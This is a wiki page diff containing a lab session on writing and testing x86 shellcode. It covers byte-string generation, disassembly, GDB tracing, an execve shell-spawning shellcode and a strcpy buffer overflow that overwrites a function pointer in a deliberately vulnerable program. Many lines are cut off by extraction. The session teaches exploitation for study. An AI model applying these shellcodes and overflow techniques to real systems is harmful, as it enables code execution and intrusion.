session:07
Differences
This shows you the differences between two versions of the page.
— | session:07 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ====== 0x06. Shellcodes 1 ====== | ||
+ | |||
+ | ===== Resources ===== | ||
+ | |||
+ | To work this session, first clone/ | ||
+ | |||
+ | Other resources: | ||
+ | * [[http:// | ||
+ | |||
+ | ===== Initial info ===== | ||
+ | |||
+ | When creating an attack vector the attacker would usually aim to run a shellcode. However, due to program specifics and modern attack prevention mechanisms, it is uncommon for an attack to consist of a single step. There is no recipe, and an attacker will combine multiple steps and actions for the attack to be successful. | ||
+ | |||
+ | An attacker will typically employ information leak attacks to extract address and values, would use buffer overflow attacks to overwrite sensible data, inject shellcodes and execute them by modifying the program control flow and others. The way these steps are woven together depends on the vulnerability and the program specifics. The attacker is the one that needs to find the best way to tie these steps together to exploit the vulnerability. | ||
+ | |||
+ | ===== Shellcode ===== | ||
+ | |||
+ | A // | ||
+ | |||
+ | While a shellcode would typically result in the attacker gaining a shell process by the means the of the [[http:// | ||
+ | |||
+ | A shellcode is typically written in assembly language and then compiled into binary object code and fed to the vulnerable program. There are three actions an attacker must undertake to run a shellcode in a vulnerable program: | ||
+ | - Write the shellcode: typically done in assembly and then convert it in binary object code. | ||
+ | - Inject the shellcode into the memory address space of the vulnerable process. This is fed through some form of input to the process (standard input, program arguments, sockets, I/O, environment variables etc.). | ||
+ | - Trigger the running of the shellcode by jumping to the shellcode address, usually done through a buffer overflow. | ||
+ | |||
+ | ===== 01. Reminder: Generating/ | ||
+ | |||
+ | When dealing with shellcodes, we work with binary data and we need to be able to generate that. One example is when we need to write an hexadecimal address such as '' | ||
+ | |||
+ | In order to generate binary data, one can use any programming language, though it is common to use Bash (shell commands), Python or Perl. Let's write the hexadecimal address '' | ||
+ | $ echo -e ' | ||
+ | K� | ||
+ | $ python -c 'print " | ||
+ | K� | ||
+ | $ perl -e 'print " | ||
+ | K� | ||
+ | </ | ||
+ | |||
+ | The binary data is not readable from a console. You can either pipe to a hex dumping command (such as '' | ||
+ | $ python -c 'print " | ||
+ | 0000000 0804804b 0000000a | ||
+ | |||
+ | $ perl -e 'print " | ||
+ | $ od -t x4 dump | ||
+ | 0000000 0804804b | ||
+ | 0000004 | ||
+ | </ | ||
+ | |||
+ | In the snippets above, the reason for the the '' | ||
+ | |||
+ | Python and Perl may also be used to generate a string that repeats a character a number of times. For example, if we wanted to generate 50 '' | ||
+ | $ python -c 'print " | ||
+ | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000030: 4141 4b80 0408 0a AAK... | ||
+ | |||
+ | $ perl -e 'print " | ||
+ | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
+ | 00000030: 4141 4b80 0408 | ||
+ | </ | ||
+ | |||
+ | We've used '' | ||
+ | |||
+ | < | ||
+ | Please note that a hexadecimal dump will print a dot ('' | ||
+ | </ | ||
+ | ===== 02. Reminder: Disassembling a raw binary file ===== | ||
+ | |||
+ | It is usually the case that we have access to the raw (binary) shellcode (that we may have generated) and we want to make sure it does exactly what we want it to do. For that we want to disassemble the binary shellcode. | ||
+ | |||
+ | In the '' | ||
+ | $ xxd shellcode.bin | ||
+ | 00000000: 6821 0a00 0068 6f72 6c64 686f 2c20 5768 h!...horldho, | ||
+ | 00000010: 4865 6c6c ba0e 0000 0089 e1bb 0100 0000 Hell............ | ||
+ | 00000020: b804 0000 00cd 80 | ||
+ | </ | ||
+ | |||
+ | We can see there are some strings part of the file and we want to disassemble it as a raw file. For that we use '' | ||
+ | $ objdump -D -b binary -m i386 -M intel shellcode.bin | ||
+ | |||
+ | shellcode.bin: | ||
+ | |||
+ | |||
+ | Disassembly of section .data: | ||
+ | |||
+ | 00000000 < | ||
+ | 0: 68 21 0a 00 00 | ||
+ | 5: 68 6f 72 6c 64 | ||
+ | a: 68 6f 2c 20 57 | ||
+ | f: 68 48 65 6c 6c | ||
+ | 14: ba 0e 00 00 00 | ||
+ | 19: 89 e1 mov ecx,esp | ||
+ | 1b: bb 01 00 00 00 | ||
+ | 20: b8 04 00 00 00 | ||
+ | 25: cd 80 int 0x80 | ||
+ | </ | ||
+ | |||
+ | The above command does raw disassembling, | ||
+ | * '' | ||
+ | * '' | ||
+ | * '' | ||
+ | * '' | ||
+ | |||
+ | The binary file is indeed a shellcode: a short set of instructions that end in a system call ('' | ||
+ | |||
+ | This binary shellcode file was obtained by writing a byte string. The byte string is stored in the '' | ||
+ | $ cat shellcode.print | ||
+ | \x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80 | ||
+ | $ echo -en ' | ||
+ | $ cmp shellcode.bin shellcode-2.bin | ||
+ | </ | ||
+ | |||
+ | As the last command ('' | ||
+ | |||
+ | ==== 02.a. Challenge: Create and disassemble binary shellcodes ==== | ||
+ | |||
+ | Let's practice the generation and investigation of binary shellcodes. | ||
+ | |||
+ | Extract the byte strings from these two shellcodes ([[http:// | ||
+ | |||
+ | ===== 03. Tutorial: Testing a shellcode ===== | ||
+ | |||
+ | Now that we know what a shellcode is, how does it look like and how can we verify it through disassembling, | ||
+ | |||
+ | The '' | ||
+ | |||
+ | In order to test it, we will first compile the program using '' | ||
+ | $ make | ||
+ | cc -m32 -Wall -g -c -o vuln.o vuln.c | ||
+ | cc -m32 -zexecstack | ||
+ | </ | ||
+ | |||
+ | resulting in the generation of the '' | ||
+ | |||
+ | Then we will run the '' | ||
+ | $ ./ | ||
+ | Hello, World! | ||
+ | Segmentation fault | ||
+ | </ | ||
+ | and see that it really gets to execute the shellcode, since the " | ||
+ | |||
+ | The running of the executable also results in the process being delivered a segment violation signal ('' | ||
+ | |||
+ | <note important> | ||
+ | The linker used the '' | ||
+ | </ | ||
+ | |||
+ | ==== 03.a. Reminder: System calls and use of strace ==== | ||
+ | |||
+ | A shellcode will usually do any sort of action through the use of system calls. In the test above we used the '' | ||
+ | |||
+ | We can check the usage of system calls in a shellcode by disassembling the binary system call file and checking the presence of the '' | ||
+ | |||
+ | If we want to check the shellcode is being run or debug it, we can use '' | ||
+ | $ strace ./ | ||
+ | execve(" | ||
+ | [...] | ||
+ | write(1, " | ||
+ | ) = 14 | ||
+ | [...] | ||
+ | </ | ||
+ | '' | ||
+ | |||
+ | Another way of doing runtime investigation is through the use of GDB as shown in the next section. | ||
+ | |||
+ | <note important> | ||
+ | '' | ||
+ | </ | ||
+ | ==== 03.b. Tutorial: Using GDB to inspect the shellcode ==== | ||
+ | |||
+ | Thorough dynamic investigation of the shellcode is achieved through the use of GDB. We will start the '' | ||
+ | |||
+ | We will start the program under GDB (with [[https:// | ||
+ | $ gdb -q ./ | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ start | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | [...] | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80483dc < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | [...] | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Temporary breakpoint 1, main () at vuln.c:14 | ||
+ | 14 void (*func_ptr)(void) = (void (*)(void)) shellcode; | ||
+ | gdb-peda$ | ||
+ | </ | ||
+ | |||
+ | The current '' | ||
+ | gdb-peda$ si | ||
+ | [...] | ||
+ | gdb-peda$ si | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x80484c0 --> 0xa2168 (' | ||
+ | [...] | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80483e6 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [...] | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | [...] | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x080483e6 17 func_ptr(); | ||
+ | gdb-peda$ p/x & | ||
+ | $1 = 0x80484c0 | ||
+ | gdb-peda$ | ||
+ | </ | ||
+ | |||
+ | As expected, '' | ||
+ | |||
+ | The next instruction issued is '' | ||
+ | gdb-peda$ si | ||
+ | [...] | ||
+ | gdb-peda$ si | ||
+ | [...] | ||
+ | gdb-peda$ si | ||
+ | [...] | ||
+ | [...] | ||
+ | gdb-peda$ si | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x4 | ||
+ | EBX: 0x1 | ||
+ | ECX: 0xffffd2fc (" | ||
+ | EDX: 0xe | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd328 --> 0x0 | ||
+ | ESP: 0xffffd2fc (" | ||
+ | EIP: 0x80484e5 --> 0x10080cd | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80484e5 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | [...] | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x080484e5 in shellcode () | ||
+ | </ | ||
+ | |||
+ | Before executing the system call trap we can see that the registers are filled properly: | ||
+ | * '' | ||
+ | * '' | ||
+ | * '' | ||
+ | * '' | ||
+ | |||
+ | When issuing the next instruction (the system call trap), the '' | ||
+ | |||
+ | < | ||
+ | The program will continue executing instructions that it interprets past the '' | ||
+ | </ | ||
+ | |||
+ | ===== 04. Tutorial: Getting a binary and byte string shellcode ===== | ||
+ | |||
+ | Up until now we've learned about getting a binary shellcode from a byte string shellcode using Bash, Python or Perl and on disassembling a raw binary shellcode to assembly format to check the shellcode instructions. | ||
+ | |||
+ | But we need to do it the other way around. We construct a shellcode using assembly and then we need to obtain its binary format and then its byte string format. The byte string format is the usual form we are going to use the shellcode in programs (be them C, Python, Perl or other programs). | ||
+ | |||
+ | In the '' | ||
+ | |||
+ | First of all we will use '' | ||
+ | $ nasm -o shellcode.bin shellcode.S | ||
+ | </ | ||
+ | By default, '' | ||
+ | $ xxd shellcode.bin | ||
+ | 00000000: 6821 0a00 0068 6f72 6c64 686f 2c20 5768 h!...horldho, | ||
+ | 00000010: 4865 6c6c ba0e 0000 0089 e1bb 0100 0000 Hell............ | ||
+ | 00000020: b804 0000 00cd 80 ....... | ||
+ | $ objdump -D -b binary -m i386 -M intel shellcode.bin | ||
+ | |||
+ | shellcode.bin: | ||
+ | |||
+ | |||
+ | Disassembly of section .data: | ||
+ | |||
+ | 00000000 < | ||
+ | 0: 68 21 0a 00 00 | ||
+ | 5: 68 6f 72 6c 64 | ||
+ | a: 68 6f 2c 20 57 | ||
+ | f: 68 48 65 6c 6c | ||
+ | 14: ba 0e 00 00 00 | ||
+ | 19: 89 e1 mov ecx,esp | ||
+ | 1b: bb 01 00 00 00 | ||
+ | 20: b8 04 00 00 00 | ||
+ | 25: cd 80 int 0x80 | ||
+ | </ | ||
+ | |||
+ | As the output of the disassembling is identical to the initial assembly file ('' | ||
+ | |||
+ | Now we need to extract the byte string shellcode from the binary shellcode file '' | ||
+ | $ hexdump -v -e '" | ||
+ | \x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80 | ||
+ | </ | ||
+ | |||
+ | The '' | ||
+ | |||
+ | All of the above steps are incorporated in the '' | ||
+ | $ make | ||
+ | nasm -o shellcode.bin shellcode.S | ||
+ | </ | ||
+ | The above command assembles the '' | ||
+ | |||
+ | In order to obtain the byte string file, we would issue the command:< | ||
+ | $ make print | ||
+ | \x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80 | ||
+ | </ | ||
+ | resulting in the printing of the shellcode in byte string format. | ||
+ | |||
+ | The byte string shellcode can now be integrated into our code and it can be properly placed for execution inside a vulnerable program. | ||
+ | |||
+ | |||
+ | ==== 04.a. Tutorial: Graceful return/exit from shellcode ==== | ||
+ | |||
+ | In the above running of the shellcode the processes ended (crashed) by receiving a '' | ||
+ | |||
+ | In order to avoid that and let the program return from the shellcode or exit gracefully after running the shellcode, we have two options: | ||
+ | - ending the shellcode with a '' | ||
+ | - adding an '' | ||
+ | |||
+ | Let's do the first one. A rather simple approach would be to add the '' | ||
+ | by adding a '' | ||
+ | $ cat shellcode.S | ||
+ | BITS 32 | ||
+ | push 0x0a21 ; " | ||
+ | push 0x646c726f ; | ||
+ | push 0x57202c6f ; | ||
+ | push 0x6c6c6548 ; | ||
+ | mov edx, 14 ; Message length is 14 bytes. | ||
+ | mov ecx, esp ; Stack points to message. | ||
+ | mov ebx, 1 ; Print to standard output (fd = 1). | ||
+ | mov eax, 4 ; __NR_write | ||
+ | int 0x80 | ||
+ | ret | ||
+ | </ | ||
+ | In the above listing we can see the addition of the '' | ||
+ | |||
+ | We now need to extract the shellcode byte string and replace in the vulnerable program ('' | ||
+ | $ make print | ||
+ | nasm -o shellcode.bin shellcode.S | ||
+ | \x68\x21\x0a\x00\x00\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x57\x68\x48\x65\x6c\x6c\xba\x0e\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xc3 | ||
+ | </ | ||
+ | We now replace the above byte string shellcode in the '' | ||
+ | $ cat vuln.c | ||
+ | [...] | ||
+ | static const char shellcode[] = " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | [...] | ||
+ | </ | ||
+ | |||
+ | We now compile the program using the new shellcode byte string< | ||
+ | make | ||
+ | cc -m32 -Wall -g -c -o vuln.o vuln.c | ||
+ | cc -m32 -zexecstack | ||
+ | </ | ||
+ | and run it< | ||
+ | $ ./ | ||
+ | Hello, World! | ||
+ | Segmentation fault | ||
+ | </ | ||
+ | |||
+ | Although we expected the program to exit gracefully it still gets a '' | ||
+ | $ dmesg | tail -1 | ||
+ | [20349.560852] vuln[12204]: | ||
+ | </ | ||
+ | We can see that the instruction pointer ('' | ||
+ | $ echo -e ' | ||
+ | lleH | ||
+ | </ | ||
+ | The above message is part of the '' | ||
+ | |||
+ | We do a GDB investigation for additional info and see what happens when the '' | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ start | ||
+ | [...] | ||
+ | gdb-peda$ si | ||
+ | Hello, World! | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xe | ||
+ | EBX: 0x1 | ||
+ | ECX: 0xffffd2fc (" | ||
+ | EDX: 0xe | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd328 --> 0x0 | ||
+ | ESP: 0xffffd2fc (" | ||
+ | EIP: 0x80484e7 --> 0xc3 | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80484e7 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd2fc (" | ||
+ | 0004| 0xffffd300 ("o, World!\n" | ||
+ | 0008| 0xffffd304 (" | ||
+ | 0012| 0xffffd308 --> 0xa21 (' | ||
+ | 0016| 0xffffd30c --> 0x80483e8 (< | ||
+ | 0020| 0xffffd310 --> 0x1 | ||
+ | 0024| 0xffffd314 --> 0xffffd3d4 --> 0xffffd533 ("/ | ||
+ | 0028| 0xffffd318 --> 0xffffd3dc --> 0xffffd591 (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x080484e7 in shellcode () | ||
+ | |||
+ | gdb-peda$ si | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xe | ||
+ | EBX: 0x1 | ||
+ | ECX: 0xffffd2fc (" | ||
+ | EDX: 0xe | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd328 --> 0x0 | ||
+ | ESP: 0xffffd300 ("o, World!\n" | ||
+ | EIP: 0x6c6c6548 (' | ||
+ | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x6c6c6548 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd300 ("o, World!\n" | ||
+ | 0004| 0xffffd304 (" | ||
+ | 0008| 0xffffd308 --> 0xa21 (' | ||
+ | 0012| 0xffffd30c --> 0x80483e8 (< | ||
+ | 0016| 0xffffd310 --> 0x1 | ||
+ | 0020| 0xffffd314 --> 0xffffd3d4 --> 0xffffd533 ("/ | ||
+ | 0024| 0xffffd318 --> 0xffffd3dc --> 0xffffd591 (" | ||
+ | 0028| 0xffffd31c --> 0x80484c0 --> 0xa2168 (' | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | 0x6c6c6548 in ?? () | ||
+ | gdb-peda$ | ||
+ | </ | ||
+ | |||
+ | When executing the '' | ||
+ | |||
+ | Our goal is to properly set the stack pointer before executing '' | ||
+ | ==== 04.b. Challenge: Fix ret instruction in shellcode ==== | ||
+ | |||
+ | In order for '' | ||
+ | 0016| 0xffffd30c --> 0x80483e8 (< | ||
+ | </ | ||
+ | |||
+ | Update the shellcode to increment the stack pointer ('' | ||
+ | |||
+ | <note tip> | ||
+ | Use GDB to see what is the difference between '' | ||
+ | </ | ||
+ | |||
+ | <note warning> | ||
+ | Do not store a fixed address in '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | You need to update the '' | ||
+ | </ | ||
+ | |||
+ | <note tip> | ||
+ | In case of issues, use GDB to inspect the program. Use '' | ||
+ | </ | ||
+ | |||
+ | ==== 04.c. Challenge: Use graceful exit in the shellcode ==== | ||
+ | |||
+ | Apart from using the '' | ||
+ | |||
+ | Add an equivalent '' | ||
+ | |||
+ | <note tip> | ||
+ | The '' | ||
+ | |||
+ | The system call number is placed in the '' | ||
+ | </ | ||
+ | ==== 04.d. Challenge: Update string in shellcode ==== | ||
+ | |||
+ | Up until now the string we used for printing inside the shellcode is " | ||
+ | |||
+ | Do that and check the program now prints the " | ||
+ | |||
+ | < | ||
+ | Place the string on the stack as done before. It is cumbersome to do that by hand so use the '' | ||
+ | $ echo -en ' | ||
+ | push 0x00000a21 | ||
+ | push 0x646c726f | ||
+ | push 0x57202c6f | ||
+ | push 0x6c6c6548 | ||
+ | </ | ||
+ | |||
+ | Adapt the above command, get the assembly code for placing " | ||
+ | </ | ||
+ | |||
+ | ===== 05. Tutorial: Use execve shellcode ====== | ||
+ | |||
+ | As the name implies, a shellcode is usually used for getting a shell. This type of shellcode typically ends in the '' | ||
+ | |||
+ | We update the '' | ||
+ | $ cat vuln.c | ||
+ | [...] | ||
+ | static const char shellcode[] = " | ||
+ | " | ||
+ | " | ||
+ | [...] | ||
+ | </ | ||
+ | |||
+ | Now we compile the '' | ||
+ | $ make | ||
+ | cc -m32 -Wall -g -c -o vuln.o vuln.c | ||
+ | cc -m32 -zexecstack | ||
+ | </ | ||
+ | and then we run it< | ||
+ | $ ./ | ||
+ | $ | ||
+ | </ | ||
+ | |||
+ | We can exit the new shell by running '' | ||
+ | |||
+ | After running the executable you get a new shell so our shellcode was successful. We can see that by running the executable under '' | ||
+ | $ strace ./vuln | ||
+ | [...] | ||
+ | execve("/ | ||
+ | [...] | ||
+ | </ | ||
+ | |||
+ | The shellcode was successful and we managed to obtain a new shell. | ||
+ | |||
+ | ==== 05.a. Challenge: Update the execve shellcode to work properly ==== | ||
+ | |||
+ | In the '' | ||
+ | $ make | ||
+ | cc -m32 -Wall -g -c -o vuln.o vuln.c | ||
+ | cc -m32 -zexecstack | ||
+ | $ ./ | ||
+ | Segmentation fault | ||
+ | </ | ||
+ | |||
+ | The cause of the error is a problem with the shellcode. The shellcode works on certain setups but not all of them due to a negligence of the shellcode author. | ||
+ | |||
+ | <note tip> | ||
+ | The problem is with the '' | ||
+ | |||
+ | You can use '' | ||
+ | </ | ||
+ | |||
+ | Disassemble the shellcode, find out the problem with it and reconstruct it and fix it inside the '' | ||
+ | ===== 06. Tutorial: Use program argument to overwrite local function pointer ===== | ||
+ | |||
+ | In the '' | ||
+ | |||
+ | In the '' | ||
+ | |||
+ | Our goal is to provide the proper command line argument in order to overflow the '' | ||
+ | |||
+ | First of all let's see how the program behaves:< | ||
+ | $ make | ||
+ | cc -m32 -Wall -fno-stack-protector -g -c -o vuln.o vuln.c | ||
+ | cc -m32 -zexecstack | ||
+ | cc -m32 -zexecstack | ||
+ | $ ./ | ||
+ | Usage: ./vuln string | ||
+ | $ ./vuln aaa | ||
+ | Do nothing, successfully! | ||
+ | </ | ||
+ | |||
+ | For a short string the program performs OK and the '' | ||
+ | |||
+ | <note important> | ||
+ | When compiling we are now using the '' | ||
+ | </ | ||
+ | |||
+ | Let's now see what happens if we overflow the buffer. We write a lot more bytes than the buffer length (let's say '' | ||
+ | $ perl -e 'print " | ||
+ | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ||
+ | </ | ||
+ | |||
+ | In order to feed that input as a program argument to '' | ||
+ | $ ./vuln $(perl -e 'print " | ||
+ | Segmentation fault | ||
+ | </ | ||
+ | We see that now the program is sent a '' | ||
+ | $ dmesg | ||
+ | [...] | ||
+ | [38217.667318] vuln[11474]: | ||
+ | </ | ||
+ | As shown in the '' | ||
+ | |||
+ | We can also check that using GDB:< | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ set args $(perl -e 'print " | ||
+ | gdb-peda$ start | ||
+ | [...] | ||
+ | gdb-peda$ disass | ||
+ | Dump of assembler code for function main: | ||
+ | [...[ | ||
+ | | ||
+ | | ||
+ | | ||
+ | [...] | ||
+ | gdb-peda$ b *0x08048518 | ||
+ | Breakpoint 2 at 0x8048518: file vuln.c, line 22. | ||
+ | gdb-peda$ b *0x0804851d | ||
+ | Breakpoint 3 at 0x804851d: file vuln.c, line 22. | ||
+ | gdb-peda$ continue | ||
+ | Continuing. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xffffd2ac --> 0x8048321 (< | ||
+ | EBX: 0xf7f9d000 --> 0x1a5da8 | ||
+ | ECX: 0xffffd2f0 --> 0x2 | ||
+ | EDX: 0xffffd314 --> 0xf7f9d000 --> 0x1a5da8 | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd2d8 --> 0x0 | ||
+ | ESP: 0xffffd290 --> 0xffffd2ac --> 0x8048321 (< | ||
+ | EIP: 0x8048518 (< | ||
+ | EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x8048518 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | Guessed arguments: | ||
+ | arg[0]: 0xffffd2ac --> 0x8048321 (< | ||
+ | arg[1]: 0xffffd550 (' | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd290 --> 0xffffd2ac --> 0x8048321 (< | ||
+ | 0004| 0xffffd294 --> 0xffffd550 (' | ||
+ | 0008| 0xffffd298 --> 0xf7e03bf8 --> 0x2aa0 | ||
+ | 0012| 0xffffd29c --> 0xf7e281e3 (add ebx, | ||
+ | 0016| 0xffffd2a0 --> 0x0 | ||
+ | 0020| 0xffffd2a4 --> 0xca0000 | ||
+ | 0024| 0xffffd2a8 --> 0x1 | ||
+ | 0028| 0xffffd2ac --> 0x8048321 (< | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Breakpoint 2, 0x08048518 in main (argc=0x2, argv=0xffffd384) at vuln.c:22 | ||
+ | 22 strcpy(buffer, | ||
+ | gdb-peda$ x/32b buffer | ||
+ | 0xffffd2ac: | ||
+ | 0xffffd2b4: | ||
+ | 0xffffd2bc: | ||
+ | 0xffffd2c4: | ||
+ | gdb-peda$ continue | ||
+ | Continuing. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0xffffd2ac (' | ||
+ | EBX: 0xf7f9d000 --> 0x1a5da8 | ||
+ | ECX: 0xffffd580 --> 0x58004141 (' | ||
+ | EDX: 0xffffd2dc --> 0xf7004141 | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd2d8 (" | ||
+ | ESP: 0xffffd290 --> 0xffffd2ac (' | ||
+ | EIP: 0x804851d (< | ||
+ | EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x804851d < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd290 --> 0xffffd2ac (' | ||
+ | 0004| 0xffffd294 --> 0xffffd550 (' | ||
+ | 0008| 0xffffd298 --> 0xf7e03bf8 --> 0x2aa0 | ||
+ | 0012| 0xffffd29c --> 0xf7e281e3 (add ebx, | ||
+ | 0016| 0xffffd2a0 --> 0x0 | ||
+ | 0020| 0xffffd2a4 --> 0xca0000 | ||
+ | 0024| 0xffffd2a8 --> 0x1 | ||
+ | 0028| 0xffffd2ac (' | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | |||
+ | Breakpoint 3, 0x0804851d in main ( | ||
+ | argc=< | ||
+ | argc@entry=< | ||
+ | argv=< | ||
+ | argv@entry=< | ||
+ | 22 strcpy(buffer, | ||
+ | gdb-peda$ x/32b buffer | ||
+ | 0xffffd2ac: | ||
+ | 0xffffd2b4: | ||
+ | 0xffffd2bc: | ||
+ | 0xffffd2c4: | ||
+ | gdb-peda$ continue | ||
+ | Continuing. | ||
+ | |||
+ | Program received signal SIGSEGV, Segmentation fault. | ||
+ | [----------------------------------registers-----------------------------------] | ||
+ | EAX: 0x41414141 (' | ||
+ | EBX: 0xf7f9d000 --> 0x1a5da8 | ||
+ | ECX: 0xffffd580 --> 0x58004141 (' | ||
+ | EDX: 0xffffd2dc --> 0xf7004141 | ||
+ | ESI: 0x0 | ||
+ | EDI: 0x0 | ||
+ | EBP: 0xffffd2d8 (" | ||
+ | ESP: 0xffffd29c --> 0x8048525 (< | ||
+ | EIP: 0x41414141 (' | ||
+ | EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x41414141 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd29c --> 0x8048525 (< | ||
+ | 0004| 0xffffd2a0 --> 0x0 | ||
+ | 0008| 0xffffd2a4 --> 0xca0000 | ||
+ | 0012| 0xffffd2a8 --> 0x1 | ||
+ | 0016| 0xffffd2ac (' | ||
+ | 0020| 0xffffd2b0 (' | ||
+ | 0024| 0xffffd2b4 (' | ||
+ | 0028| 0xffffd2b8 (' | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0x41414141 in ?? () | ||
+ | gdb-peda$ | ||
+ | </ | ||
+ | |||
+ | In the above GDB output we've used breakpoints to break right before and after the calling of the '' | ||
+ | argc=< | ||
+ | argc@entry=< | ||
+ | argv=< | ||
+ | argv@entry=< | ||
+ | </ | ||
+ | |||
+ | Of course, our aim is to do a carefully crafted to write '' | ||
+ | |||
+ | Our steps for this to happen are: | ||
+ | - Find out the difference between '' | ||
+ | - Find out the hexadecimal address of '' | ||
+ | - Create a byte string of '' | ||
+ | |||
+ | In order to compute the difference between '' | ||
+ | $ gdb -q ./vuln | ||
+ | Reading symbols from ./ | ||
+ | gdb-peda$ start | ||
+ | [...] | ||
+ | gdb-peda$ p & | ||
+ | $1 = (void (**)(void)) 0xffffd2fc | ||
+ | gdb-peda$ p &buffer | ||
+ | $2 = (char (*)[32]) 0xffffd2dc | ||
+ | </ | ||
+ | |||
+ | In the run above, the two variables are '' | ||
+ | $ python -c 'print 0xffffd2fc-0xffffd2dc' | ||
+ | 32 | ||
+ | </ | ||
+ | |||
+ | <note important> | ||
+ | Most of the time the system would have ASLR (//Address Space Layout Randomization// | ||
+ | </ | ||
+ | |||
+ | This was expected since the buffer stores 32 characters. However, this needn' | ||
+ | |||
+ | So, '' | ||
